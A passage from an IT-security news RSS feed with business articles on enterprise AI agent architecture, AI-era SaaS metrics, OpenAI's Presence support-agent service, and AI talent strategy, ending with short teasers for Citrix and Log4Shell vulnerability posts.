<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2019-19781: Citrix ADC RCE vulnerability]]></title>
<description><![CDATA[A week before the 2019 holidays Citrix announced that an authentication bypass vulnerability was discovered in multiple Citrix products. The affected products are the Citrix Application Delivery Controller (formerly known as NetScaler AD), Citrix Gateway NetScaler ADC (formerly known as NetScaler...]]></description>
<link>https://tsecurity.de/de/3694241/it-security-nachrichten/cve-2019-19781-citrix-adc-rce-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694241/it-security-nachrichten/cve-2019-19781-citrix-adc-rce-vulnerability/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A week before the 2019 holidays Citrix announced that an authentication bypass vulnerability was discovered in multiple Citrix products. The affected products are the Citrix Application Delivery Controller (formerly known as NetScaler AD), Citrix Gateway NetScaler ADC (formerly known as NetScaler Gateway), and Citrix SD-WAN WANOP appliance. Exploiting the vulnerability could allow an unauthenticated attacker [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/exploit-tutorials/cve-2019-19781-citrix-adc-rce-vulnerability/">CVE-2019-19781: Citrix ADC RCE vulnerability</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Log4Shell VMware vCenter Server (CVE-2021-44228)]]></title>
<description><![CDATA[Log4Shell is a critical vulnerability with the highest possible CVSSv3 score of 10.0 that affects thousands of products running Apache Log4j and leaves millions of targets potentially vulnerable. CVE-2021-44228 affects log4j versions 2.0-beta9 to 2.14.1. Log4j is an incredibly popular logging lib...]]></description>
<link>https://tsecurity.de/de/3694239/it-security-nachrichten/log4shell-vmware-vcenter-server-cve-2021-44228/</link>
